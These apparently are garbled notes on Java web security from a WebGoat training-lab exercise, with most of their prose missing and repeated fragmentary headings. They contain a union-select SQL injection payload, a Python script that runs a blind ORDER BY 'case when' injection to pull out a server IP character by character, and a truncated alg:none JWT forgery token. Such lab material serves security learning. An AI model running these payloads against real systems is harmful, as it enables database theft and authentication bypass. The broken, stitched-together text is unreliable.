

~~~~~

JAVA

-JWT

CASE

~~~~~

JAVA

-JWT

CASE

~~~~~

WEB

PHP,Java,Python





SQL Injection(mitigation)

```
        sql          session
//      session      session      select * from users where user = "" +
session.getAttribute("UserID") + "";
//          sql
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
        sql
```

case when                      order by              orderExpression                      select

```
import requests
from string import digits
chars = digits+"."
```

```
data1
"username_reg=tomx'+union+select+password+from+sql_challenge_users+where+userid%3D'teom'--+&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123"
headers = {
'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
'JSESSIONID': 'ZwUabF1a2yNsk7UAWd05XAp0UEPB7CLJCZnZPvUX',
'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
```

```

result = ""
proxy={"http": "http://127.0.0.1:8888"}
while True:
    i += 1
    temp = result
    for char in chars:
        vul_url =
        "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20s
        ubstr(ip,{0},1)='{1}%'%20from%20servers%20where%20hostname='webgoat-
        prd')%20then%20hostname%20else%20mac%20end".format(i, char)
        resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
        # print(resp.json())
        if 'webgoat-acc' in resp.json()[0]['hostname']:
            result += char
            print(result)
            if temp == result:
                break

```



## Javaweb-SQL -

```

#
https://www.cnblogs.com/klyjb/p/11473857.html
https://www.zhihu.com/question/43581628
#
case when

```

## Javaweb- -JWT

```

# JWT
# JWT

```

|      |            |               |      |
|------|------------|---------------|------|
|      | JWT        |               |      |
|      |            | ~             | None |
| HTTP | Base64     | "=", "+", "/" | URL  |
| URL  | Base64 URL |               |      |

Payload:

```

ewogICJhbGciOiAiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTg0MTY2NTI0LAogICJhZG1pbil6ICJ0cnVliwKICAidXNlci

```